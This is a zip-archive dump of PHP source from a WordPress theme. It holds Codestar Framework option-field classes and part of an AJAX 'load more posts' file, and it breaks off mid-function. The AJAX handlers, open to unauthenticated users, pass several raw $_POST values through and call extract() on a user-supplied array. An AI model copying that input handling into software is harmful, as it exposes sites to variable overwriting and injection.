                $field_value  = ( isset( $field['id'] ) && isset( $value[$field['id']] ) ) ? $value[$field['id']] : '';

                CSF::field( $field, $field_value, $field_unique, 'field/group' );

              }

              echo '</div>';

            echo '</div>';

            $num++;

          }

        }

        echo '</div>';

        echo '<div class="csf-cloneable-alert csf-cloneable-max">'. esc_html__( 'You cannot add more.', 'csf' ) .'</div>';
        echo '<div class="csf-cloneable-alert csf-cloneable-min">'. esc_html__( 'You cannot remove more.', 'csf' ) .'</div>';
        echo '<a href="#" class="button button-primary csf-cloneable-add">'. $args['button_title'] .'</a>';

        echo $this->field_after();

      }

    }

    public function enqueue() {

      if ( ! wp_script_is( 'jquery-ui-accordion' ) ) {
        wp_enqueue_script( 'jquery-ui-accordion' );
      }

      if ( ! wp_script_is( 'jquery-ui-sortable' ) ) {
        wp_enqueue_script( 'jquery-ui-sortable' );
      }

    }

  }
}
PK     N\      *  inc/options/framework/fields/text/text.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: text
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_text' ) ) {
  class CSF_Field_text extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $type = ( ! empty( $this->field['attributes']['type'] ) ) ? $this->field['attributes']['type'] : 'text';

      echo $this->field_before();

      echo '<input type="'. esc_attr( $type ) .'" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'"'. $this->field_attributes() .' />';

      echo $this->field_after();

    }

  }
}
PK     N\Xbq    0  inc/options/framework/fields/palette/palette.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: palette
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_palette' ) ) {
  class CSF_Field_palette extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $palette = ( ! empty( $this->field['options'] ) ) ? $this->field['options'] : array();

      echo $this->field_before();

      if ( ! empty( $palette ) ) {

        echo '<div class="csf-siblings csf--palettes">';

        foreach ( $palette as $key => $colors ) {

          $active  = ( $key === $this->value ) ? ' csf--active' : '';
          $checked = ( $key === $this->value ) ? ' checked' : '';

          echo '<div class="csf--sibling csf--palette'. esc_attr( $active ) .'">';

          if ( ! empty( $colors ) ) {

            foreach ( $colors as $color ) {

              echo '<span style="background-color: '. esc_attr( $color ) .';"></span>';

            }

          }

          echo '<input type="radio" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $key ) .'"'. $this->field_attributes() . esc_attr( $checked ) .'/>';
          echo '</div>';

        }

        echo '</div>';

      }

      echo $this->field_after();

    }

  }
}
PK     N\:2    .  inc/options/framework/fields/tabbed/tabbed.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: tabbed
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_tabbed' ) ) {
  class CSF_Field_tabbed extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $unallows = array( 'tabbed' );

      echo $this->field_before();

      echo '<div class="csf-tabbed-nav" data-depend-id="'. esc_attr( $this->field['id'] ) .'">';
      foreach ( $this->field['tabs'] as $key => $tab ) {

        $tabbed_icon   = ( ! empty( $tab['icon'] ) ) ? '<i class="csf--icon '. esc_attr( $tab['icon'] ) .'"></i>' : '';
        $tabbed_active = ( empty( $key ) ) ? 'csf-tabbed-active' : '';

        echo '<a href="#" class="'. esc_attr( $tabbed_active ) .'"">'. $tabbed_icon . esc_attr( $tab['title'] ) .'</a>';

      }
      echo '</div>';

      echo '<div class="csf-tabbed-contents">';
      foreach ( $this->field['tabs'] as $key => $tab ) {

        $tabbed_hidden = ( ! empty( $key ) ) ? ' hidden' : '';

        echo '<div class="csf-tabbed-content'. esc_attr( $tabbed_hidden ) .'">';

        foreach ( $tab['fields'] as $field ) {

          if ( in_array( $field['type'], $unallows ) ) { $field['_notice'] = true; }

          $field_id      = ( isset( $field['id'] ) ) ? $field['id'] : '';
          $field_default = ( isset( $field['default'] ) ) ? $field['default'] : '';
          $field_value   = ( isset( $this->value[$field_id] ) ) ? $this->value[$field_id] : $field_default;
          $unique_id     = ( ! empty( $this->unique ) ) ? $this->unique .'['. $this->field['id'] .']' : $this->field['id'];

          CSF::field( $field, $field_value, $unique_id, 'field/tabbed' );

        }

        echo '</div>';

      }
      echo '</div>';

      echo $this->field_after();

    }

  }
}
PK     N\Ro2  o2  6  inc/options/framework/fields/background/background.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: background
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_background' ) ) {
  class CSF_Field_background extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args                             = wp_parse_args( $this->field, array(
        'background_color'              => true,
        'background_image'              => true,
        'background_position'           => true,
        'background_repeat'             => true,
        'background_attachment'         => true,
        'background_size'               => true,
        'background_origin'             => false,
        'background_clip'               => false,
        'background_blend_mode'         => false,
        'background_gradient'           => false,
        'background_gradient_color'     => true,
        'background_gradient_direction' => true,
        'background_image_preview'      => true,
        'background_auto_attributes'    => false,
        'compact'                       => false,
        'background_image_library'      => 'image',
        'background_image_placeholder'  => esc_html__( 'Not selected', 'csf' ),
      ) );

      if ( $args['compact'] ) {
        $args['background_color']           = false;
        $args['background_auto_attributes'] = true;
      }

      $default_value                    = array(
        'background-color'              => '',
        'background-image'              => '',
        'background-position'           => '',
        'background-repeat'             => '',
        'background-attachment'         => '',
        'background-size'               => '',
        'background-origin'             => '',
        'background-clip'               => '',
        'background-blend-mode'         => '',
        'background-gradient-color'     => '',
        'background-gradient-direction' => '',
      );

      $default_value = ( ! empty( $this->field['default'] ) ) ? wp_parse_args( $this->field['default'], $default_value ) : $default_value;

      $this->value = wp_parse_args( $this->value, $default_value );

      echo $this->field_before();

      echo '<div class="csf--background-colors">';

      //
      // Background Color
      if ( ! empty( $args['background_color'] ) ) {

        echo '<div class="csf--color">';

        echo ( ! empty( $args['background_gradient'] ) ) ? '<div class="csf--title">'. esc_html__( 'From', 'csf' ) .'</div>' : '';

        CSF::field( array(
          'id'      => 'background-color',
          'type'    => 'color',
          'default' => $default_value['background-color'],
        ), $this->value['background-color'], $this->field_name(), 'field/background' );

        echo '</div>';

      }

      //
      // Background Gradient Color
      if ( ! empty( $args['background_gradient_color'] ) && ! empty( $args['background_gradient'] ) ) {

        echo '<div class="csf--color">';

        echo ( ! empty( $args['background_gradient'] ) ) ? '<div class="csf--title">'. esc_html__( 'To', 'csf' ) .'</div>' : '';

        CSF::field( array(
          'id'      => 'background-gradient-color',
          'type'    => 'color',
          'default' => $default_value['background-gradient-color'],
        ), $this->value['background-gradient-color'], $this->field_name(), 'field/background' );

        echo '</div>';

      }

      //
      // Background Gradient Direction
      if ( ! empty( $args['background_gradient_direction'] ) && ! empty( $args['background_gradient'] ) ) {

        echo '<div class="csf--color">';

        echo ( ! empty( $args['background_gradient'] ) ) ? '<div class="csf---title">'. esc_html__( 'Direction', 'csf' ) .'</div>' : '';

        CSF::field( array(
          'id'          => 'background-gradient-direction',
          'type'        => 'select',
          'options'     => array(
            ''          => esc_html__( 'Gradient Direction', 'csf' ),
            'to bottom' => esc_html__( '&#8659; top to bottom', 'csf' ),
            'to right'  => esc_html__( '&#8658; left to right', 'csf' ),
            '135deg'    => esc_html__( '&#8664; corner top to right', 'csf' ),
            '-135deg'   => esc_html__( '&#8665; corner top to left', 'csf' ),
          ),
        ), $this->value['background-gradient-direction'], $this->field_name(), 'field/background' );

        echo '</div>';

      }

      echo '</div>';

      //
      // Background Image
      if ( ! empty( $args['background_image'] ) ) {

        echo '<div class="csf--background-image">';

        CSF::field( array(
          'id'          => 'background-image',
          'type'        => 'media',
          'class'       => 'csf-assign-field-background',
          'library'     => $args['background_image_library'],
          'preview'     => $args['background_image_preview'],
          'placeholder' => $args['background_image_placeholder'],
          'attributes'  => array( 'data-depend-id' => $this->field['id'] ),
        ), $this->value['background-image'], $this->field_name(), 'field/background' );

        echo '</div>';

      }

      $auto_class   = ( ! empty( $args['background_auto_attributes'] ) ) ? ' csf--auto-attributes' : '';
      $hidden_class = ( ! empty( $args['background_auto_attributes'] ) && empty( $this->value['background-image']['url'] ) ) ? ' csf--attributes-hidden' : '';

      echo '<div class="csf--background-attributes'. esc_attr( $auto_class . $hidden_class ) .'">';

      //
      // Background Position
      if ( ! empty( $args['background_position'] ) ) {

        CSF::field( array(
          'id'              => 'background-position',
          'type'            => 'select',
          'options'         => array(
            ''              => esc_html__( 'Background Position', 'csf' ),
            'left top'      => esc_html__( 'Left Top', 'csf' ),
            'left center'   => esc_html__( 'Left Center', 'csf' ),
            'left bottom'   => esc_html__( 'Left Bottom', 'csf' ),
            'center top'    => esc_html__( 'Center Top', 'csf' ),
            'center center' => esc_html__( 'Center Center', 'csf' ),
            'center bottom' => esc_html__( 'Center Bottom', 'csf' ),
            'right top'     => esc_html__( 'Right Top', 'csf' ),
            'right center'  => esc_html__( 'Right Center', 'csf' ),
            'right bottom'  => esc_html__( 'Right Bottom', 'csf' ),
          ),
        ), $this->value['background-position'], $this->field_name(), 'field/background' );

      }

      //
      // Background Repeat
      if ( ! empty( $args['background_repeat'] ) ) {

        CSF::field( array(
          'id'          => 'background-repeat',
          'type'        => 'select',
          'options'     => array(
            ''          => esc_html__( 'Background Repeat', 'csf' ),
            'repeat'    => esc_html__( 'Repeat', 'csf' ),
            'no-repeat' => esc_html__( 'No Repeat', 'csf' ),
            'repeat-x'  => esc_html__( 'Repeat Horizontally', 'csf' ),
            'repeat-y'  => esc_html__( 'Repeat Vertically', 'csf' ),
          ),
        ), $this->value['background-repeat'], $this->field_name(), 'field/background' );

      }

      //
      // Background Attachment
      if ( ! empty( $args['background_attachment'] ) ) {

        CSF::field( array(
          'id'       => 'background-attachment',
          'type'     => 'select',
          'options'  => array(
            ''       => esc_html__( 'Background Attachment', 'csf' ),
            'scroll' => esc_html__( 'Scroll', 'csf' ),
            'fixed'  => esc_html__( 'Fixed', 'csf' ),
          ),
        ), $this->value['background-attachment'], $this->field_name(), 'field/background' );

      }

      //
      // Background Size
      if ( ! empty( $args['background_size'] ) ) {

        CSF::field( array(
          'id'        => 'background-size',
          'type'      => 'select',
          'options'   => array(
            ''        => esc_html__( 'Background Size', 'csf' ),
            'cover'   => esc_html__( 'Cover', 'csf' ),
            'contain' => esc_html__( 'Contain', 'csf' ),
            'auto'    => esc_html__( 'Auto', 'csf' ),
          ),
        ), $this->value['background-size'], $this->field_name(), 'field/background' );

      }

      //
      // Background Origin
      if ( ! empty( $args['background_origin'] ) ) {

        CSF::field( array(
          'id'            => 'background-origin',
          'type'          => 'select',
          'options'       => array(
            ''            => esc_html__( 'Background Origin', 'csf' ),
            'padding-box' => esc_html__( 'Padding Box', 'csf' ),
            'border-box'  => esc_html__( 'Border Box', 'csf' ),
            'content-box' => esc_html__( 'Content Box', 'csf' ),
          ),
        ), $this->value['background-origin'], $this->field_name(), 'field/background' );

      }

      //
      // Background Clip
      if ( ! empty( $args['background_clip'] ) ) {

        CSF::field( array(
          'id'            => 'background-clip',
          'type'          => 'select',
          'options'       => array(
            ''            => esc_html__( 'Background Clip', 'csf' ),
            'border-box'  => esc_html__( 'Border Box', 'csf' ),
            'padding-box' => esc_html__( 'Padding Box', 'csf' ),
            'content-box' => esc_html__( 'Content Box', 'csf' ),
          ),
        ), $this->value['background-clip'], $this->field_name(), 'field/background' );

      }

      //
      // Background Blend Mode
      if ( ! empty( $args['background_blend_mode'] ) ) {

        CSF::field( array(
          'id'            => 'background-blend-mode',
          'type'          => 'select',
          'options'       => array(
            ''            => esc_html__( 'Background Blend Mode', 'csf' ),
            'normal'      => esc_html__( 'Normal', 'csf' ),
            'multiply'    => esc_html__( 'Multiply', 'csf' ),
            'screen'      => esc_html__( 'Screen', 'csf' ),
            'overlay'     => esc_html__( 'Overlay', 'csf' ),
            'darken'      => esc_html__( 'Darken', 'csf' ),
            'lighten'     => esc_html__( 'Lighten', 'csf' ),
            'color-dodge' => esc_html__( 'Color Dodge', 'csf' ),
            'saturation'  => esc_html__( 'Saturation', 'csf' ),
            'color'       => esc_html__( 'Color', 'csf' ),
            'luminosity'  => esc_html__( 'Luminosity', 'csf' ),
          ),
        ), $this->value['background-blend-mode'], $this->field_name(), 'field/background' );

      }

      echo '</div>';

      echo $this->field_after();

    }

    public function output() {

      $output    = '';
      $bg_image  = array();
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $element   = ( is_array( $this->field['output'] ) ) ? join( ',', $this->field['output'] ) : $this->field['output'];

      // Background image and gradient
      $background_color        = ( ! empty( $this->value['background-color']              ) ) ? $this->value['background-color']              : '';
      $background_gd_color     = ( ! empty( $this->value['background-gradient-color']     ) ) ? $this->value['background-gradient-color']     : '';
      $background_gd_direction = ( ! empty( $this->value['background-gradient-direction'] ) ) ? $this->value['background-gradient-direction'] : '';
      $background_image        = ( ! empty( $this->value['background-image']['url']       ) ) ? $this->value['background-image']['url']       : '';


      if ( $background_color && $background_gd_color ) {
        $gd_direction   = ( $background_gd_direction ) ? $background_gd_direction .',' : '';
        $bg_image[] = 'linear-gradient('. $gd_direction . $background_color .','. $background_gd_color .')';
        unset( $this->value['background-color'] );
      }

      if ( $background_image ) {
        $bg_image[] = 'url('. $background_image .')';
      }

      if ( ! empty( $bg_image ) ) {
        $output .= 'background-image:'. implode( ',', $bg_image ) . $important .';';
      }

      // Common background properties
      $properties = array( 'color', 'position', 'repeat', 'attachment', 'size', 'origin', 'clip', 'blend-mode' );

      foreach ( $properties as $property ) {
        $property = 'background-'. $property;
        if ( ! empty( $this->value[$property] ) ) {
          $output .= $property .':'. $this->value[$property] . $important .';';
        }
      }

      if ( $output ) {
        $output = $element .'{'. $output .'}';
      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     N\ջ(  (  8  inc/options/framework/fields/code_editor/code_editor.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: code_editor
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_code_editor' ) ) {
  class CSF_Field_code_editor extends CSF_Fields {

    public $version = '6.65.7';
    public $cdn_url = 'https://cdn.jsdelivr.net/npm/codemirror@';

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $default_settings = array(
        'tabSize'       => 2,
        'lineNumbers'   => true,
        'theme'         => 'default',
        'mode'          => 'htmlmixed',
        'cdnURL'        => $this->cdn_url . $this->version,
      );

      $settings = ( ! empty( $this->field['settings'] ) ) ? $this->field['settings'] : array();
      $settings = wp_parse_args( $settings, $default_settings );

      echo $this->field_before();
      echo '<textarea name="'. esc_attr( $this->field_name() ) .'"'. $this->field_attributes() .' data-editor="'. esc_attr( json_encode( $settings ) ) .'">'. $this->value .'</textarea>';
      echo $this->field_after();

    }

    public function enqueue() {

      $page = ( ! empty( $_GET[ 'page' ] ) ) ? sanitize_text_field( wp_unslash( $_GET[ 'page' ] ) ) : '';

      // Do not loads CodeMirror in revslider page.
      if ( in_array( $page, array( 'revslider' ) ) ) { return; }

      if ( ! wp_script_is( 'csf-codemirror' ) ) {
        wp_enqueue_script( 'csf-codemirror', esc_url( $this->cdn_url . $this->version .'/lib/codemirror.min.js' ), array( 'csf' ), $this->version, true );
        wp_enqueue_script( 'csf-codemirror-loadmode', esc_url( $this->cdn_url . $this->version .'/addon/mode/loadmode.min.js' ), array( 'csf-codemirror' ), $this->version, true );
      }

      if ( ! wp_style_is( 'csf-codemirror' ) ) {
        wp_enqueue_style( 'csf-codemirror', esc_url( $this->cdn_url . $this->version .'/lib/codemirror.min.css' ), array(), $this->version );
      }

    }

  }
}
PK     N\upG    6  inc/options/framework/fields/link_color/link_color.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: link_color
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_link_color' ) ) {
  class CSF_Field_link_color extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'color'   => true,
        'hover'   => true,
        'active'  => false,
        'visited' => false,
        'focus'   => false,
      ) );

      $default_values = array(
        'color'   => '',
        'hover'   => '',
        'active'  => '',
        'visited' => '',
        'focus'   => '',
      );

      $color_props = array(
        'color'    => esc_html__( 'Normal', 'csf' ),
        'hover'    => esc_html__( 'Hover', 'csf' ),
        'active'   => esc_html__( 'Active', 'csf' ),
        'visited'  => esc_html__( 'Visited', 'csf' ),
        'focus'    => esc_html__( 'Focus', 'csf' )
      );

      $value = wp_parse_args( $this->value, $default_values );

      echo $this->field_before();

      foreach ( $color_props as $color_prop_key => $color_prop_value ) {

        if ( ! empty( $args[$color_prop_key] ) ) {

          $default_attr = ( ! empty( $this->field['default'][$color_prop_key] ) ) ? ' data-default-color="'. esc_attr( $this->field['default'][$color_prop_key] ) .'"' : '';

          echo '<div class="csf--left csf-field-color">';
          echo '<div class="csf--title">'. esc_attr( $color_prop_value ) .'</div>';
          echo '<input type="text" name="'. esc_attr( $this->field_name( '['. $color_prop_key .']' ) ) .'" value="'. esc_attr( $value[$color_prop_key] ) .'" class="csf-color"'. $default_attr . $this->field_attributes() .'/>';
          echo '</div>';

        }

      }

      echo $this->field_after();

    }

    public function output() {

      $output    = '';
      $elements  = ( is_array( $this->field['output'] ) ) ? $this->field['output'] : array_filter( (array) $this->field['output'] );
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';

      if ( ! empty( $elements ) && isset( $this->value ) && $this->value !== '' ) {
        foreach ( $elements as $element ) {

          if ( isset( $this->value['color']   ) && $this->value['color']   !== '' ) { $output .= $element .'{color:'.         $this->value['color']   . $important .';}'; }
          if ( isset( $this->value['hover']   ) && $this->value['hover']   !== '' ) { $output .= $element .':hover{color:'.   $this->value['hover']   . $important .';}'; }
          if ( isset( $this->value['active']  ) && $this->value['active']  !== '' ) { $output .= $element .':active{color:'.  $this->value['active']  . $important .';}'; }
          if ( isset( $this->value['visited'] ) && $this->value['visited'] !== '' ) { $output .= $element .':visited{color:'. $this->value['visited'] . $important .';}'; }
          if ( isset( $this->value['focus']   ) && $this->value['focus']   !== '' ) { $output .= $element .':focus{color:'.   $this->value['focus']   . $important .';}'; }

        }
      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     N\J$e    2  inc/options/framework/fields/repeater/repeater.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: repeater
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_repeater' ) ) {
  class CSF_Field_repeater extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'max'          => 0,
        'min'          => 0,
        'button_title' => '<i class="fas fa-plus-circle"></i>',
      ) );

      if ( preg_match( '/'. preg_quote( '['. $this->field['id'] .']' ) .'/', $this->unique ) ) {

        echo '<div class="csf-notice csf-notice-danger">'. esc_html__( 'Error: Field ID conflict.', 'csf' ) .'</div>';

      } else {

        echo $this->field_before();

        echo '<div class="csf-repeater-item csf-repeater-hidden" data-depend-id="'. esc_attr( $this->field['id'] ) .'">';
        echo '<div class="csf-repeater-content">';
        foreach ( $this->field['fields'] as $field ) {

          $field_default = ( isset( $field['default'] ) ) ? $field['default'] : '';
          $field_unique  = ( ! empty( $this->unique ) ) ? $this->unique .'['. $this->field['id'] .'][0]' : $this->field['id'] .'[0]';

          CSF::field( $field, $field_default, '___'. $field_unique, 'field/repeater' );

        }
        echo '</div>';
        echo '<div class="csf-repeater-helper">';
        echo '<div class="csf-repeater-helper-inner">';
        echo '<i class="csf-repeater-sort fas fa-arrows-alt"></i>';
        echo '<i class="csf-repeater-clone far fa-clone"></i>';
        echo '<i class="csf-repeater-remove csf-confirm fas fa-times" data-confirm="'. esc_html__( 'Are you sure to delete this item?', 'csf' ) .'"></i>';
        echo '</div>';
        echo '</div>';
        echo '</div>';

        echo '<div class="csf-repeater-wrapper csf-data-wrapper" data-field-id="['. esc_attr( $this->field['id'] ) .']" data-max="'. esc_attr( $args['max'] ) .'" data-min="'. esc_attr( $args['min'] ) .'">';

        if ( ! empty( $this->value ) && is_array( $this->value ) ) {

          $num = 0;

          foreach ( $this->value as $key => $value ) {

            echo '<div class="csf-repeater-item">';
            echo '<div class="csf-repeater-content">';
            foreach ( $this->field['fields'] as $field ) {

              $field_unique = ( ! empty( $this->unique ) ) ? $this->unique .'['. $this->field['id'] .']['. $num .']' : $this->field['id'] .'['. $num .']';
              $field_value  = ( isset( $field['id'] ) && isset( $this->value[$key][$field['id']] ) ) ? $this->value[$key][$field['id']] : '';

              CSF::field( $field, $field_value, $field_unique, 'field/repeater' );

            }
            echo '</div>';
            echo '<div class="csf-repeater-helper">';
            echo '<div class="csf-repeater-helper-inner">';
            echo '<i class="csf-repeater-sort fas fa-arrows-alt"></i>';
            echo '<i class="csf-repeater-clone far fa-clone"></i>';
            echo '<i class="csf-repeater-remove csf-confirm fas fa-times" data-confirm="'. esc_html__( 'Are you sure to delete this item?', 'csf' ) .'"></i>';
            echo '</div>';
            echo '</div>';
            echo '</div>';

            $num++;

          }

        }

        echo '</div>';

        echo '<div class="csf-repeater-alert csf-repeater-max">'. esc_html__( 'You cannot add more.', 'csf' ) .'</div>';
        echo '<div class="csf-repeater-alert csf-repeater-min">'. esc_html__( 'You cannot remove more.', 'csf' ) .'</div>';
        echo '<a href="#" class="button button-primary csf-repeater-add">'. $args['button_title'] .'</a>';

        echo $this->field_after();

      }

    }

    public function enqueue() {

      if ( ! wp_script_is( 'jquery-ui-sortable' ) ) {
        wp_enqueue_script( 'jquery-ui-sortable' );
      }

    }

  }
}
PK     N\A      inc/ajax.phpnu [        <?php
/**
 * Functions callback when more posts clicked for archive pages
 *
 * @since 6.0
 */
if (!function_exists('penci_archive_more_post_ajax_func')):

	add_action('wp_ajax_nopriv_penci_archive_more_post_ajax', 'penci_archive_more_post_ajax_func');
	add_action('wp_ajax_penci_archive_more_post_ajax', 'penci_archive_more_post_ajax_func');

	function penci_archive_more_post_ajax_func() {
		check_ajax_referer('archive-more-post', 'nonce');

		$ppp = (isset($_POST['ppp'])) ? (int) $_POST['ppp'] : 4;
		$order_get = (isset($_POST['order'])) ? sanitize_text_field( $_POST['order'] ) : '';
		$offset = (isset($_POST['offset'])) ? (int) $_POST['offset'] : 0;
		$layout = (isset($_POST['layout'])) ? sanitize_file_name( $_POST['layout'] ) : 'grid';
		$archivetype = isset($_POST['archivetype']) ? $_POST['archivetype'] : '';
		$archivevalue = isset($_POST['archivevalue']) ? $_POST['archivevalue'] : '';
		$from = (isset($_POST['from'])) ? $_POST['from'] : 'customize';
		$template = (isset($_POST['template'])) ? $_POST['template'] : 'sidebar';
		$md = ( isset( $_POST['md'] ) ) ? sanitize_text_field( $_POST['md'] ) : '';

		$orderby = get_theme_mod('penci_general_post_orderby');

		if (!$orderby):
			$orderby = 'date';
		endif;

		$order = get_theme_mod('penci_general_post_order');
		if (!$order):
			$order = 'DESC';
		endif;

		$order = $order_get ? $order_get : $order;

		$args = array(
			'post_type' => 'post',
			'posts_per_page' => $ppp,
			'post_status' => 'publish',
			'offset' => $offset,
			'orderby' => $orderby,
			'order' => $order,
		);

		if ( 'views' == $order ) {
			$args['orderby'] = 'meta_value_num';
			$args['meta_key'] = 'DESC';
			$args['meta_key'] = penci_get_postviews_key();
		}

		if ( $md ) {
			$md_filter = explode( '-', $md );
			if ( isset( $md_filter[0] ) && isset( $md_filter[1] ) ) {
				$args['year'] = $md_filter[1];
				$args['monthnum'] = $md_filter[0];
			}
		}

		if ( $order == 'view' ) {
			$args['meta_key'] = penci_get_postviews_key();
			$args['order'] = 'DESC';
			$args['orderby'] = 'meta_value_num';
		}
		
		if ( $order == 'comment' ) {
			$args['order'] = 'DESC';
			$args['orderby'] = 'comment_count';
		}

		if ('cat' == $archivetype) {
			$args['cat'] = $archivevalue;
		} elseif ('tag' == $archivetype) {
			$args['tag_id'] = $archivevalue;
		} elseif ('day' == $archivetype) {
			$date_arr = explode('|', $archivevalue);
			$args['date_query'] = array(
				array(
					'year' => isset($date_arr[2]) ? $date_arr[2] : '',
					'month' => isset($date_arr[0]) ? $date_arr[0] : '',
					'day' => isset($date_arr[1]) ? $date_arr[1] : '',
				),
			);
		} elseif ('month' == $archivetype) {
			$date_arr = explode('|', $archivevalue);
			$args['date_query'] = array(
				array(
					'year' => isset($date_arr[2]) ? $date_arr[2] : '',
					'month' => isset($date_arr[0]) ? $date_arr[0] : '',
				),
			);
		} elseif ('year' == $archivetype) {
			$date_arr = explode('|', $archivevalue);
			$args['date_query'] = array(
				array(
					'year' => isset($date_arr[2]) ? $date_arr[2] : '',
				),
			);
		} elseif ('search' == $archivetype) {
			$args['s'] = $archivevalue;

			$post_types = get_post_types(
				array(
					'public' => true,
					'show_in_nav_menus' => true,
				),
				'names'
			);
			$array_include = array();
			foreach ($post_types as $key => $val) {
				$array_include[] = $key;
			}
			$exclude = array(
				'web-story',
				'e-landing-page',
				'penci-block',
				'penci_builder',
				'archive-template',
				'custom-post-template',
			);

			if (!get_theme_mod('penci_include_search_page')) {
				$exclude[] = 'page';
			}

			$array_include = array_diff($array_include, $exclude);

			$args['post_type'] = $array_include;

			
		} elseif ('author' == $archivetype) {
			$args['author'] = $archivevalue;

			if (isset($args['post_type'])) {
				unset($args['post_type']);
			}
		} elseif ($archivetype && $archivevalue) {
			$args['tax_query'] = array(
				array(
					'taxonomy' => $archivetype,
					'field' => 'term_id',
					'terms' => array($archivevalue),
				),
			);
		}

		$loop = new WP_Query($args);

		if ($loop->have_posts()):
			$infeed_ads = get_theme_mod('penci_infeedads_archi_code') ? get_theme_mod('penci_infeedads_archi_code') : '';
			$infeed_num = get_theme_mod('penci_infeedads_archi_num') ? get_theme_mod('penci_infeedads_archi_num') : 3;
			$infeed_full = get_theme_mod('penci_infeedads_archi_layout') ? get_theme_mod('penci_infeedads_archi_layout') : '';
			while ($loop->have_posts()):
				$loop->the_post();
				include locate_template('content-' . $layout . '.php');
			endwhile;
		endif;

		wp_reset_postdata();

		exit;
	}
endif;
/**
 * Functions callback when more posts clicked for homepage
 *
 * @since 2.5
 */
if (!function_exists('penci_more_post_ajax_func')) {
	add_action('wp_ajax_nopriv_penci_more_post_ajax', 'penci_more_post_ajax_func');
	add_action('wp_ajax_penci_more_post_ajax', 'penci_more_post_ajax_func');
	function penci_more_post_ajax_func() {
		check_ajax_referer('penci_more_post_ajax', 'nonce');

		$ppp = (isset($_POST['ppp'])) ? $_POST['ppp'] : 4;
		$offset = (isset($_POST['offset'])) ? $_POST['offset'] : 0;
		$layout = (isset($_POST['layout'])) ? sanitize_file_name( $_POST['layout'] ) : 'grid';
		$exclude = (isset($_POST['exclude'])) ? $_POST['exclude'] : '';
		$from = (isset($_POST['from'])) ? $_POST['from'] : 'customize';
		$come_from = (isset($_POST['comefrom'])) ? $_POST['comefrom'] : '';
		$template = (isset($_POST['template'])) ? $_POST['template'] : 'sidebar';
		$penci_mixed_style = (isset($_POST['mixed'])) ? $_POST['mixed'] : 'mixed';
		$penci_vc_query = (isset($_POST['query'])) ? $_POST['query'] : 'query';
		$penci_infeedads = (isset($_POST['infeedads'])) ? $_POST['infeedads'] : array();
		$penci_vc_number = (isset($_POST['number'])) ? $_POST['number'] : '10';
		$query_type = (isset($_POST['query_type'])) ? $_POST['query_type'] : 'post';
		$archivetype = isset($_POST['archivetype']) ? $_POST['archivetype'] : '';
		$archivevalue = isset($_POST['archivevalue']) ? $_POST['archivevalue'] : '';
		$atts = isset($_POST['datafilter']) ? $_POST['datafilter'] : array();
		$tag = isset($_POST['tag']) ? $_POST['tag'] : array();
		$cat = isset($_POST['cat']) ? $_POST['cat'] : array();
		$author = isset($_POST['author']) ? $_POST['author'] : array();
		$pagednum = isset($_POST['pagednum']) ? $_POST['pagednum'] : 1;
		$qtype = isset($_POST['qtype']) ? $_POST['qtype'] : '';

		// Add more option enable or hide
		$standard_title_length = $grid_title_length = 10;

		if ($atts && is_array($atts)) {
			extract($atts);
		}

		$standard_title_length = $standard_title_length ? $standard_title_length : 10;
		$grid_title_length = $grid_title_length ? $grid_title_length : 10;

		// header( "Content-Type: text/html" );

		$orderby = get_theme_mod('penci_general_post_orderby');
		if (!$orderby):
			$orderby = 'date';
		endif;
		$order = get_theme_mod('penci_general_post_order');
		if (!$order):
			$order = 'DESC';
		endif;

		$args = array(
			'post_type' => 'post',
			'posts_per_page' => $ppp,
			'post_status' => 'publish',
			'offset' => $offset,
			'orderby' => $orderby,
			'order' => $order,
		);

		if ($query_type != 'current_query') {

			$exclude_cats = '';
			if ($from == 'vc' && $exclude) {
				$exclude_cats = $exclude;
